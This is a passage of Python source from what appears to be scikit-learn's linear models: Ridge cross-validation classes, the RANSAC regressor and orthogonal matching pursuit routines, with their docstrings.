        """
        X, y = check_X_y(X, y, ['csr', 'csc', 'coo'], dtype=np.float64,
                         multi_output=True, y_numeric=True)

        n_samples, n_features = X.shape

        X, y, X_offset, y_offset, X_scale = LinearModel._preprocess_data(
            X, y, self.fit_intercept, self.normalize, self.copy_X,
            sample_weight=sample_weight)

        gcv_mode = self.gcv_mode
        with_sw = len(np.shape(sample_weight))

        if gcv_mode is None or gcv_mode == 'auto':
            if sparse.issparse(X) or n_features > n_samples or with_sw:
                gcv_mode = 'eigen'
            else:
                gcv_mode = 'svd'
        elif gcv_mode == "svd" and with_sw:
            # FIXME non-uniform sample weights not yet supported
            warnings.warn("non-uniform sample weights unsupported for svd, "
                          "forcing usage of eigen")
            gcv_mode = 'eigen'

        if gcv_mode == 'eigen':
            _pre_compute = self._pre_compute
            _errors = self._errors
            _values = self._values
        elif gcv_mode == 'svd':
            # assert n_samples >= n_features
            _pre_compute = self._pre_compute_svd
            _errors = self._errors_svd
            _values = self._values_svd
        else:
            raise ValueError('bad gcv_mode "%s"' % gcv_mode)

        v, Q, QT_y = _pre_compute(X, y)
        n_y = 1 if len(y.shape) == 1 else y.shape[1]
        cv_values = np.zeros((n_samples * n_y, len(self.alphas)))
        C = []

        scorer = check_scoring(self, scoring=self.scoring, allow_none=True)
        error = scorer is None

        for i, alpha in enumerate(self.alphas):
            weighted_alpha = (sample_weight * alpha
                              if sample_weight is not None
                              else alpha)
            if error:
                out, c = _errors(weighted_alpha, y, v, Q, QT_y)
            else:
                out, c = _values(weighted_alpha, y, v, Q, QT_y)
            cv_values[:, i] = out.ravel()
            C.append(c)

        if error:
            best = cv_values.mean(axis=0).argmin()
        else:
            # The scorer want an object that will make the predictions but
            # they are already computed efficiently by _RidgeGCV. This
            # identity_estimator will just return them
            def identity_estimator():
                pass
            identity_estimator.decision_function = lambda y_predict: y_predict
            identity_estimator.predict = lambda y_predict: y_predict

            out = [scorer(identity_estimator, y.ravel(), cv_values[:, i])
                   for i in range(len(self.alphas))]
            best = np.argmax(out)

        self.alpha_ = self.alphas[best]
        self.dual_coef_ = C[best]
        self.coef_ = safe_sparse_dot(self.dual_coef_.T, X)

        self._set_intercept(X_offset, y_offset, X_scale)

        if self.store_cv_values:
            if len(y.shape) == 1:
                cv_values_shape = n_samples, len(self.alphas)
            else:
                cv_values_shape = n_samples, n_y, len(self.alphas)
            self.cv_values_ = cv_values.reshape(cv_values_shape)

        return self


class _BaseRidgeCV(LinearModel):
    def __init__(self, alphas=(0.1, 1.0, 10.0),
                 fit_intercept=True, normalize=False, scoring=None,
                 cv=None, gcv_mode=None,
                 store_cv_values=False):
        self.alphas = alphas
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.scoring = scoring
        self.cv = cv
        self.gcv_mode = gcv_mode
        self.store_cv_values = store_cv_values

    def fit(self, X, y, sample_weight=None):
        """Fit Ridge regression model

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training data

        y : array-like, shape = [n_samples] or [n_samples, n_targets]
            Target values

        sample_weight : float or array-like of shape [n_samples]
            Sample weight

        Returns
        -------
        self : Returns self.
        """
        if self.cv is None:
            estimator = _RidgeGCV(self.alphas,
                                  fit_intercept=self.fit_intercept,
                                  normalize=self.normalize,
                                  scoring=self.scoring,
                                  gcv_mode=self.gcv_mode,
                                  store_cv_values=self.store_cv_values)
            estimator.fit(X, y, sample_weight=sample_weight)
            self.alpha_ = estimator.alpha_
            if self.store_cv_values:
                self.cv_values_ = estimator.cv_values_
        else:
            if self.store_cv_values:
                raise ValueError("cv!=None and store_cv_values=True "
                                 " are incompatible")
            parameters = {'alpha': self.alphas}
            fit_params = {'sample_weight': sample_weight}
            gs = GridSearchCV(Ridge(fit_intercept=self.fit_intercept),
                              parameters, fit_params=fit_params, cv=self.cv)
            gs.fit(X, y)
            estimator = gs.best_estimator_
            self.alpha_ = gs.best_estimator_.alpha

        self.coef_ = estimator.coef_
        self.intercept_ = estimator.intercept_

        return self


class RidgeCV(_BaseRidgeCV, RegressorMixin):
    """Ridge regression with built-in cross-validation.

    By default, it performs Generalized Cross-Validation, which is a form of
    efficient Leave-One-Out cross-validation.

    Read more in the :ref:`User Guide <ridge_regression>`.

    Parameters
    ----------
    alphas : numpy array of shape [n_alphas]
        Array of alpha values to try.
        Regularization strength; must be a positive float. Regularization
        improves the conditioning of the problem and reduces the variance of
        the estimates. Larger values specify stronger regularization.
        Alpha corresponds to ``C^-1`` in other linear models such as 
        LogisticRegression or LinearSVC. 

    fit_intercept : boolean
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the efficient Leave-One-Out cross-validation
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if ``y`` is binary or multiclass,
        :class:`sklearn.model_selection.StratifiedKFold` is used, else, 
        :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    gcv_mode : {None, 'auto', 'svd', eigen'}, optional
        Flag indicating which strategy to use when performing
        Generalized Cross-Validation. Options are::

            'auto' : use svd if n_samples > n_features or when X is a sparse
                     matrix, otherwise use eigen
            'svd' : force computation via singular value decomposition of X
                    (does not work for sparse matrices)
            'eigen' : force computation via eigendecomposition of X^T X

        The 'auto' mode is the default and is intended to pick the cheaper
        option of the two depending upon the shape and format of the training
        data.

    store_cv_values : boolean, default=False
        Flag indicating if the cross-validation values corresponding to
        each alpha should be stored in the `cv_values_` attribute (see
        below). This flag is only compatible with `cv=None` (i.e. using
        Generalized Cross-Validation).

    Attributes
    ----------
    cv_values_ : array, shape = [n_samples, n_alphas] or \
        shape = [n_samples, n_targets, n_alphas], optional
        Cross-validation values for each alpha (if `store_cv_values=True` and \
        `cv=None`). After `fit()` has been called, this attribute will \
        contain the mean squared errors (by default) or the values of the \
        `{loss,score}_func` function (if provided in the constructor).

    coef_ : array, shape = [n_features] or [n_targets, n_features]
        Weight vector(s).

    intercept_ : float | array, shape = (n_targets,)
        Independent term in decision function. Set to 0.0 if
        ``fit_intercept = False``.

    alpha_ : float
        Estimated regularization parameter.

    See also
    --------
    Ridge: Ridge regression
    RidgeClassifier: Ridge classifier
    RidgeClassifierCV: Ridge classifier with built-in cross validation
    """
    pass


class RidgeClassifierCV(LinearClassifierMixin, _BaseRidgeCV):
    """Ridge classifier with built-in cross-validation.

    By default, it performs Generalized Cross-Validation, which is a form of
    efficient Leave-One-Out cross-validation. Currently, only the n_features >
    n_samples case is handled efficiently.

    Read more in the :ref:`User Guide <ridge_regression>`.

    Parameters
    ----------
    alphas : numpy array of shape [n_alphas]
        Array of alpha values to try.
        Regularization strength; must be a positive float. Regularization
        improves the conditioning of the problem and reduces the variance of
        the estimates. Larger values specify stronger regularization.
        Alpha corresponds to ``C^-1`` in other linear models such as 
        LogisticRegression or LinearSVC. 

    fit_intercept : boolean
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the efficient Leave-One-Out cross-validation
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    class_weight : dict or 'balanced', optional
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    Attributes
    ----------
    cv_values_ : array, shape = [n_samples, n_alphas] or \
    shape = [n_samples, n_responses, n_alphas], optional
        Cross-validation values for each alpha (if `store_cv_values=True` and
    `cv=None`). After `fit()` has been called, this attribute will contain \
    the mean squared errors (by default) or the values of the \
    `{loss,score}_func` function (if provided in the constructor).

    coef_ : array, shape = [n_features] or [n_targets, n_features]
        Weight vector(s).

    intercept_ : float | array, shape = (n_targets,)
        Independent term in decision function. Set to 0.0 if
        ``fit_intercept = False``.

    alpha_ : float
        Estimated regularization parameter

    See also
    --------
    Ridge: Ridge regression
    RidgeClassifier: Ridge classifier
    RidgeCV: Ridge regression with built-in cross validation

    Notes
    -----
    For multi-class classification, n_class classifiers are trained in
    a one-versus-all approach. Concretely, this is implemented by taking
    advantage of the multi-variate response support in Ridge.
    """
    def __init__(self, alphas=(0.1, 1.0, 10.0), fit_intercept=True,
                 normalize=False, scoring=None, cv=None, class_weight=None):
        super(RidgeClassifierCV, self).__init__(
            alphas=alphas, fit_intercept=fit_intercept, normalize=normalize,
            scoring=scoring, cv=cv)
        self.class_weight = class_weight

    def fit(self, X, y, sample_weight=None):
        """Fit the ridge classifier.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target values.

        sample_weight : float or numpy array of shape (n_samples,)
            Sample weight.

        Returns
        -------
        self : object
            Returns self.
        """
        self._label_binarizer = LabelBinarizer(pos_label=1, neg_label=-1)
        Y = self._label_binarizer.fit_transform(y)
        if not self._label_binarizer.y_type_.startswith('multilabel'):
            y = column_or_1d(y, warn=True)

        if self.class_weight:
            if sample_weight is None:
                sample_weight = 1.
            # modify the sample weights with the corresponding class weight
            sample_weight = (sample_weight *
                             compute_sample_weight(self.class_weight, y))

        _BaseRidgeCV.fit(self, X, Y, sample_weight=sample_weight)
        return self

    @property
    def classes_(self):
        return self._label_binarizer.classes_






# coding: utf-8

# Author: Johannes Schönberger
#
# License: BSD 3 clause

import numpy as np
import warnings

from ..base import BaseEstimator, MetaEstimatorMixin, RegressorMixin, clone
from ..utils import check_random_state, check_array, check_consistent_length
from ..utils.random import sample_without_replacement
from ..utils.validation import check_is_fitted
from .base import LinearRegression
from ..utils.validation import has_fit_parameter

_EPSILON = np.spacing(1)


def _dynamic_max_trials(n_inliers, n_samples, min_samples, probability):
    """Determine number trials such that at least one outlier-free subset is
    sampled for the given inlier/outlier ratio.

    Parameters
    ----------
    n_inliers : int
        Number of inliers in the data.

    n_samples : int
        Total number of samples in the data.

    min_samples : int
        Minimum number of samples chosen randomly from original data.

    probability : float
        Probability (confidence) that one outlier-free sample is generated.

    Returns
    -------
    trials : int
        Number of trials.

    """
    inlier_ratio = n_inliers / float(n_samples)
    nom = max(_EPSILON, 1 - probability)
    denom = max(_EPSILON, 1 - inlier_ratio ** min_samples)
    if nom == 1:
        return 0
    if denom == 1:
        return float('inf')
    return abs(float(np.ceil(np.log(nom) / np.log(denom))))


class RANSACRegressor(BaseEstimator, MetaEstimatorMixin, RegressorMixin):
    """RANSAC (RANdom SAmple Consensus) algorithm.

    RANSAC is an iterative algorithm for the robust estimation of parameters
    from a subset of inliers from the complete data set. More information can
    be found in the general documentation of linear models.

    A detailed description of the algorithm can be found in the documentation
    of the ``linear_model`` sub-package.

    Read more in the :ref:`User Guide <ransac_regression>`.

    Parameters
    ----------
    base_estimator : object, optional
        Base estimator object which implements the following methods:

         * `fit(X, y)`: Fit model to given training data and target values.
         * `score(X, y)`: Returns the mean accuracy on the given test data,
           which is used for the stop criterion defined by `stop_score`.
           Additionally, the score is used to decide which of two equally
           large consensus sets is chosen as the better one.

        If `base_estimator` is None, then
        ``base_estimator=sklearn.linear_model.LinearRegression()`` is used for
        target values of dtype float.

        Note that the current implementation only supports regression
        estimators.

    min_samples : int (>= 1) or float ([0, 1]), optional
        Minimum number of samples chosen randomly from original data. Treated
        as an absolute number of samples for `min_samples >= 1`, treated as a
        relative number `ceil(min_samples * X.shape[0]`) for
        `min_samples < 1`. This is typically chosen as the minimal number of
        samples necessary to estimate the given `base_estimator`. By default a
        ``sklearn.linear_model.LinearRegression()`` estimator is assumed and
        `min_samples` is chosen as ``X.shape[1] + 1``.

    residual_threshold : float, optional
        Maximum residual for a data sample to be classified as an inlier.
        By default the threshold is chosen as the MAD (median absolute
        deviation) of the target values `y`.

    is_data_valid : callable, optional
        This function is called with the randomly selected data before the
        model is fitted to it: `is_data_valid(X, y)`. If its return value is
        False the current randomly chosen sub-sample is skipped.

    is_model_valid : callable, optional
        This function is called with the estimated model and the randomly
        selected data: `is_model_valid(model, X, y)`. If its return value is
        False the current randomly chosen sub-sample is skipped.
        Rejecting samples with this function is computationally costlier than
        with `is_data_valid`. `is_model_valid` should therefore only be used if
        the estimated model is needed for making the rejection decision.

    max_trials : int, optional
        Maximum number of iterations for random sample selection.

    stop_n_inliers : int, optional
        Stop iteration if at least this number of inliers are found.

    stop_score : float, optional
        Stop iteration if score is greater equal than this threshold.

    stop_probability : float in range [0, 1], optional
        RANSAC iteration stops if at least one outlier-free set of the training
        data is sampled in RANSAC. This requires to generate at least N
        samples (iterations)::

            N >= log(1 - probability) / log(1 - e**m)

        where the probability (confidence) is typically set to high value such
        as 0.99 (the default) and e is the current fraction of inliers w.r.t.
        the total number of samples.

    residual_metric : callable, optional
        Metric to reduce the dimensionality of the residuals to 1 for
        multi-dimensional target values ``y.shape[1] > 1``. By default the sum
        of absolute differences is used::

            lambda dy: np.sum(np.abs(dy), axis=1)

        NOTE: residual_metric is deprecated from 0.18 and will be removed in 0.20
        Use ``loss`` instead.

    loss: string, callable, optional, default "absolute_loss"
        String inputs, "absolute_loss" and "squared_loss" are supported which
        find the absolute loss and squared loss per sample
        respectively.

        If ``loss`` is a callable, then it should be a function that takes
        two arrays as inputs, the true and predicted value and returns a 1-D
        array with the ``i``th value of the array corresponding to the loss
        on `X[i]`.

        If the loss on a sample is greater than the ``residual_threshold``, then
        this sample is classified as an outlier.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    Attributes
    ----------
    estimator_ : object
        Best fitted model (copy of the `base_estimator` object).

    n_trials_ : int
        Number of random selection trials until one of the stop criteria is
        met. It is always ``<= max_trials``.

    inlier_mask_ : bool array of shape [n_samples]
        Boolean mask of inliers classified as ``True``.

    References
    ----------
    .. [1] https://en.wikipedia.org/wiki/RANSAC
    .. [2] http://www.cs.columbia.edu/~belhumeur/courses/compPhoto/ransac.pdf
    .. [3] http://www.bmva.org/bmvc/2009/Papers/Paper355/Paper355.pdf
    """

    def __init__(self, base_estimator=None, min_samples=None,
                 residual_threshold=None, is_data_valid=None,
                 is_model_valid=None, max_trials=100,
                 stop_n_inliers=np.inf, stop_score=np.inf,
                 stop_probability=0.99, residual_metric=None,
                 loss='absolute_loss', random_state=None):

        self.base_estimator = base_estimator
        self.min_samples = min_samples
        self.residual_threshold = residual_threshold
        self.is_data_valid = is_data_valid
        self.is_model_valid = is_model_valid
        self.max_trials = max_trials
        self.stop_n_inliers = stop_n_inliers
        self.stop_score = stop_score
        self.stop_probability = stop_probability
        self.residual_metric = residual_metric
        self.random_state = random_state
        self.loss = loss

    def fit(self, X, y, sample_weight=None):
        """Fit estimator using RANSAC algorithm.

        Parameters
        ----------
        X : array-like or sparse matrix, shape [n_samples, n_features]
            Training data.

        y : array-like, shape = [n_samples] or [n_samples, n_targets]
            Target values.

        sample_weight: array-like, shape = [n_samples]
            Individual weights for each sample
            raises error if sample_weight is passed and base_estimator
            fit method does not support it.

        Raises
        ------
        ValueError
            If no valid consensus set could be found. This occurs if
            `is_data_valid` and `is_model_valid` return False for all
            `max_trials` randomly chosen sub-samples.

        """
        X = check_array(X, accept_sparse='csr')
        y = check_array(y, ensure_2d=False)
        check_consistent_length(X, y)

        if self.base_estimator is not None:
            base_estimator = clone(self.base_estimator)
        else:
            base_estimator = LinearRegression()

        if self.min_samples is None:
            # assume linear model by default
            min_samples = X.shape[1] + 1
        elif 0 < self.min_samples < 1:
            min_samples = np.ceil(self.min_samples * X.shape[0])
        elif self.min_samples >= 1:
            if self.min_samples % 1 != 0:
                raise ValueError("Absolute number of samples must be an "
                                 "integer value.")
            min_samples = self.min_samples
        else:
            raise ValueError("Value for `min_samples` must be scalar and "
                             "positive.")
        if min_samples > X.shape[0]:
            raise ValueError("`min_samples` may not be larger than number "
                             "of samples ``X.shape[0]``.")

        if self.stop_probability < 0 or self.stop_probability > 1:
            raise ValueError("`stop_probability` must be in range [0, 1].")

        if self.residual_threshold is None:
            # MAD (median absolute deviation)
            residual_threshold = np.median(np.abs(y - np.median(y)))
        else:
            residual_threshold = self.residual_threshold

        if self.residual_metric is not None:
            warnings.warn(
                "'residual_metric' was deprecated in version 0.18 and "
                "will be removed in version 0.20. Use 'loss' instead.",
                DeprecationWarning)

        if self.loss == "absolute_loss":
            if y.ndim == 1:
                loss_function = lambda y_true, y_pred: np.abs(y_true - y_pred)
            else:
                loss_function = lambda \
                    y_true, y_pred: np.sum(np.abs(y_true - y_pred), axis=1)

        elif self.loss == "squared_loss":
            if y.ndim == 1:
                loss_function = lambda y_true, y_pred: (y_true - y_pred) ** 2
            else:
                loss_function = lambda \
                    y_true, y_pred: np.sum((y_true - y_pred) ** 2, axis=1)

        elif callable(self.loss):
            loss_function = self.loss

        else:
            raise ValueError(
                "loss should be 'absolute_loss', 'squared_loss' or a callable."
                "Got %s. " % self.loss)


        random_state = check_random_state(self.random_state)

        try:  # Not all estimator accept a random_state
            base_estimator.set_params(random_state=random_state)
        except ValueError:
            pass

        estimator_fit_has_sample_weight = has_fit_parameter(base_estimator,
                                                            "sample_weight")
        estimator_name = type(base_estimator).__name__
        if (sample_weight is not None and not
                estimator_fit_has_sample_weight):
            raise ValueError("%s does not support sample_weight. Samples"
                             " weights are only used for the calibration"
                             " itself." % estimator_name)
        if sample_weight is not None:
            sample_weight = np.asarray(sample_weight)

        n_inliers_best = 0
        score_best = np.inf
        inlier_mask_best = None
        X_inlier_best = None
        y_inlier_best = None

        # number of data samples
        n_samples = X.shape[0]
        sample_idxs = np.arange(n_samples)

        n_samples, _ = X.shape

        for self.n_trials_ in range(1, self.max_trials + 1):

            # choose random sample set
            subset_idxs = sample_without_replacement(n_samples, min_samples,
                                                     random_state=random_state)
            X_subset = X[subset_idxs]
            y_subset = y[subset_idxs]

            # check if random sample set is valid
            if (self.is_data_valid is not None
                    and not self.is_data_valid(X_subset, y_subset)):
                continue

            # fit model for current random sample set
            if sample_weight is None:
                base_estimator.fit(X_subset, y_subset)
            else:
                base_estimator.fit(X_subset, y_subset,
                                   sample_weight=sample_weight[subset_idxs])

            # check if estimated model is valid
            if (self.is_model_valid is not None and not
                    self.is_model_valid(base_estimator, X_subset, y_subset)):
                continue

            # residuals of all data for current random sample model
            y_pred = base_estimator.predict(X)

            # XXX: Deprecation: Remove this if block in 0.20
            if self.residual_metric is not None:
                diff = y_pred - y
                if diff.ndim == 1:
                    diff = diff.reshape(-1, 1)
                residuals_subset = self.residual_metric(diff)
            else:
                residuals_subset = loss_function(y, y_pred)

            # classify data into inliers and outliers
            inlier_mask_subset = residuals_subset < residual_threshold
            n_inliers_subset = np.sum(inlier_mask_subset)

            # less inliers -> skip current random sample
            if n_inliers_subset < n_inliers_best:
                continue
            if n_inliers_subset == 0:
                raise ValueError("No inliers found, possible cause is "
                    "setting residual_threshold ({0}) too low.".format(
                    self.residual_threshold))

            # extract inlier data set
            inlier_idxs_subset = sample_idxs[inlier_mask_subset]
            X_inlier_subset = X[inlier_idxs_subset]
            y_inlier_subset = y[inlier_idxs_subset]

            # score of inlier data set
            score_subset = base_estimator.score(X_inlier_subset,
                                                y_inlier_subset)

            # same number of inliers but worse score -> skip current random
            # sample
            if (n_inliers_subset == n_inliers_best
                    and score_subset < score_best):
                continue

            # save current random sample as best sample
            n_inliers_best = n_inliers_subset
            score_best = score_subset
            inlier_mask_best = inlier_mask_subset
            X_inlier_best = X_inlier_subset
            y_inlier_best = y_inlier_subset

            # break if sufficient number of inliers or score is reached
            if (n_inliers_best >= self.stop_n_inliers
                    or score_best >= self.stop_score
                    or self.n_trials_
                       >= _dynamic_max_trials(n_inliers_best, n_samples,
                                              min_samples,
                                              self.stop_probability)):
                break

        # if none of the iterations met the required criteria
        if inlier_mask_best is None:
            raise ValueError(
                "RANSAC could not find valid consensus set, because"
                " either the `residual_threshold` rejected all the samples or"
                " `is_data_valid` and `is_model_valid` returned False for all"
                " `max_trials` randomly ""chosen sub-samples. Consider "
                "relaxing the ""constraints.")

        # estimate final model using all inliers
        base_estimator.fit(X_inlier_best, y_inlier_best)

        self.estimator_ = base_estimator
        self.inlier_mask_ = inlier_mask_best
        return self

    def predict(self, X):
        """Predict using the estimated model.

        This is a wrapper for `estimator_.predict(X)`.

        Parameters
        ----------
        X : numpy array of shape [n_samples, n_features]

        Returns
        -------
        y : array, shape = [n_samples] or [n_samples, n_targets]
            Returns predicted values.
        """
        check_is_fitted(self, 'estimator_')

        return self.estimator_.predict(X)

    def score(self, X, y):
        """Returns the score of the prediction.

        This is a wrapper for `estimator_.score(X, y)`.

        Parameters
        ----------
        X : numpy array or sparse matrix of shape [n_samples, n_features]
            Training data.

        y : array, shape = [n_samples] or [n_samples, n_targets]
            Target values.

        Returns
        -------
        z : float
            Score of the prediction.
        """
        check_is_fitted(self, 'estimator_')

        return self.estimator_.score(X, y)






"""Orthogonal matching pursuit algorithms
"""

# Author: Vlad Niculae
#
# License: BSD 3 clause

import warnings
from distutils.version import LooseVersion

import numpy as np
from scipy import linalg
from scipy.linalg.lapack import get_lapack_funcs

from .base import LinearModel, _pre_fit
from ..base import RegressorMixin
from ..utils import as_float_array, check_array, check_X_y
from ..model_selection import check_cv
from ..externals.joblib import Parallel, delayed

import scipy
solve_triangular_args = {}
if LooseVersion(scipy.__version__) >= LooseVersion('0.12'):
    # check_finite=False is an optimization available only in scipy >=0.12
    solve_triangular_args = {'check_finite': False}


premature = """ Orthogonal matching pursuit ended prematurely due to linear
dependence in the dictionary. The requested precision might not have been met.
"""


def _cholesky_omp(X, y, n_nonzero_coefs, tol=None, copy_X=True,
                  return_path=False):
    """Orthogonal Matching Pursuit step using the Cholesky decomposition.

    Parameters
    ----------
    X : array, shape (n_samples, n_features)
        Input dictionary. Columns are assumed to have unit norm.

    y : array, shape (n_samples,)
        Input targets

    n_nonzero_coefs : int
        Targeted number of non-zero elements

    tol : float
        Targeted squared error, if not None overrides n_nonzero_coefs.

    copy_X : bool, optional
        Whether the design matrix X must be copied by the algorithm. A false
        value is only helpful if X is already Fortran-ordered, otherwise a
        copy is made anyway.

    return_path : bool, optional. Default: False
        Whether to return every value of the nonzero coefficients along the
        forward path. Useful for cross-validation.

    Returns
    -------
    gamma : array, shape (n_nonzero_coefs,)
        Non-zero elements of the solution

    idx : array, shape (n_nonzero_coefs,)
        Indices of the positions of the elements in gamma within the solution
        vector

    coef : array, shape (n_features, n_nonzero_coefs)
        The first k values of column k correspond to the coefficient value
        for the active features at that step. The lower left triangle contains
        garbage. Only returned if ``return_path=True``.

    n_active : int
        Number of active features at convergence.
    """
    if copy_X:
        X = X.copy('F')
    else:  # even if we are allowed to overwrite, still copy it if bad order
        X = np.asfortranarray(X)

    min_float = np.finfo(X.dtype).eps
    nrm2, swap = linalg.get_blas_funcs(('nrm2', 'swap'), (X,))
    potrs, = get_lapack_funcs(('potrs',), (X,))

    alpha = np.dot(X.T, y)
    residual = y
    gamma = np.empty(0)
    n_active = 0
    indices = np.arange(X.shape[1])  # keeping track of swapping

    max_features = X.shape[1] if tol is not None else n_nonzero_coefs
    if solve_triangular_args:
        # new scipy, don't need to initialize because check_finite=False
        L = np.empty((max_features, max_features), dtype=X.dtype)
    else:
        # old scipy, we need the garbage upper triangle to be non-Inf
        L = np.zeros((max_features, max_features), dtype=X.dtype)

    L[0, 0] = 1.
    if return_path:
        coefs = np.empty_like(L)

    while True:
        lam = np.argmax(np.abs(np.dot(X.T, residual)))
        if lam < n_active or alpha[lam] ** 2 < min_float:
            # atom already selected or inner product too small
            warnings.warn(premature, RuntimeWarning, stacklevel=2)
            break
        if n_active > 0:
            # Updates the Cholesky decomposition of X' X
            L[n_active, :n_active] = np.dot(X[:, :n_active].T, X[:, lam])
            linalg.solve_triangular(L[:n_active, :n_active],
                                    L[n_active, :n_active],
                                    trans=0, lower=1,
                                    overwrite_b=True,
                                    **solve_triangular_args)
            v = nrm2(L[n_active, :n_active]) ** 2
            if 1 - v <= min_float:  # selected atoms are dependent
                warnings.warn(premature, RuntimeWarning, stacklevel=2)
                break
            L[n_active, n_active] = np.sqrt(1 - v)
        X.T[n_active], X.T[lam] = swap(X.T[n_active], X.T[lam])
        alpha[n_active], alpha[lam] = alpha[lam], alpha[n_active]
        indices[n_active], indices[lam] = indices[lam], indices[n_active]
        n_active += 1
        # solves LL'x = y as a composition of two triangular systems
        gamma, _ = potrs(L[:n_active, :n_active], alpha[:n_active], lower=True,
                         overwrite_b=False)
        if return_path:
            coefs[:n_active, n_active - 1] = gamma
        residual = y - np.dot(X[:, :n_active], gamma)
        if tol is not None and nrm2(residual) ** 2 <= tol:
            break
        elif n_active == max_features:
            break

    if return_path:
        return gamma, indices[:n_active], coefs[:, :n_active], n_active
    else:
        return gamma, indices[:n_active], n_active


def _gram_omp(Gram, Xy, n_nonzero_coefs, tol_0=None, tol=None,
              copy_Gram=True, copy_Xy=True, return_path=False):
    """Orthogonal Matching Pursuit step on a precomputed Gram matrix.

    This function uses the Cholesky decomposition method.

    Parameters
    ----------
    Gram : array, shape (n_features, n_features)
        Gram matrix of the input data matrix

    Xy : array, shape (n_features,)
        Input targets

    n_nonzero_coefs : int
        Targeted number of non-zero elements

    tol_0 : float
        Squared norm of y, required if tol is not None.

    tol : float
        Targeted squared error, if not None overrides n_nonzero_coefs.

    copy_Gram : bool, optional
        Whether the gram matrix must be copied by the algorithm. A false
        value is only helpful if it is already Fortran-ordered, otherwise a
        copy is made anyway.

    copy_Xy : bool, optional
        Whether the covariance vector Xy must be copied by the algorithm.
        If False, it may be overwritten.

    return_path : bool, optional. Default: False
        Whether to return every value of the nonzero coefficients along the
        forward path. Useful for cross-validation.

    Returns
    -------
    gamma : array, shape (n_nonzero_coefs,)
        Non-zero elements of the solution

    idx : array, shape (n_nonzero_coefs,)
        Indices of the positions of the elements in gamma within the solution
        vector

    coefs : array, shape (n_features, n_nonzero_coefs)
        The first k values of column k correspond to the coefficient value
        for the active features at that step. The lower left triangle contains
        garbage. Only returned if ``return_path=True``.

    n_active : int
        Number of active features at convergence.
    """
    Gram = Gram.copy('F') if copy_Gram else np.asfortranarray(Gram)

    if copy_Xy:
        Xy = Xy.copy()

    min_float = np.finfo(Gram.dtype).eps
    nrm2, swap = linalg.get_blas_funcs(('nrm2', 'swap'), (Gram,))
    potrs, = get_lapack_funcs(('potrs',), (Gram,))

    indices = np.arange(len(Gram))  # keeping track of swapping
    alpha = Xy
    tol_curr = tol_0
    delta = 0
    gamma = np.empty(0)
    n_active = 0

    max_features = len(Gram) if tol is not None else n_nonzero_coefs
    if solve_triangular_args:
        # new scipy, don't need to initialize because check_finite=False
        L = np.empty((max_features, max_features), dtype=Gram.dtype)
    else:
        # old scipy, we need the garbage upper triangle to be non-Inf
        L = np.zeros((max_features, max_features), dtype=Gram.dtype)
    L[0, 0] = 1.
    if return_path:
        coefs = np.empty_like(L)

    while True:
        lam = np.argmax(np.abs(alpha))
        if lam < n_active or alpha[lam] ** 2 < min_float:
            # selected same atom twice, or inner product too small
            warnings.warn(premature, RuntimeWarning, stacklevel=3)
            break
        if n_active > 0:
            L[n_active, :n_active] = Gram[lam, :n_active]
            linalg.solve_triangular(L[:n_active, :n_active],
                                    L[n_active, :n_active],
                                    trans=0, lower=1,
                                    overwrite_b=True,
                                    **solve_triangular_args)
            v = nrm2(L[n_active, :n_active]) ** 2
            if 1 - v <= min_float:  # selected atoms are dependent
                warnings.warn(premature, RuntimeWarning, stacklevel=3)
                break
            L[n_active, n_active] = np.sqrt(1 - v)
        Gram[n_active], Gram[lam] = swap(Gram[n_active], Gram[lam])
        Gram.T[n_active], Gram.T[lam] = swap(Gram.T[n_active], Gram.T[lam])
        indices[n_active], indices[lam] = indices[lam], indices[n_active]
        Xy[n_active], Xy[lam] = Xy[lam], Xy[n_active]
        n_active += 1
        # solves LL'x = y as a composition of two triangular systems
        gamma, _ = potrs(L[:n_active, :n_active], Xy[:n_active], lower=True,
                         overwrite_b=False)
        if return_path:
            coefs[:n_active, n_active - 1] = gamma
        beta = np.dot(Gram[:, :n_active], gamma)
        alpha = Xy - beta
        if tol is not None:
            tol_curr += delta
            delta = np.inner(gamma, beta[:n_active])
            tol_curr -= delta
            if abs(tol_curr) <= tol:
                break
        elif n_active == max_features:
            break

    if return_path:
        return gamma, indices[:n_active], coefs[:, :n_active], n_active
    else:
        return gamma, indices[:n_active], n_active


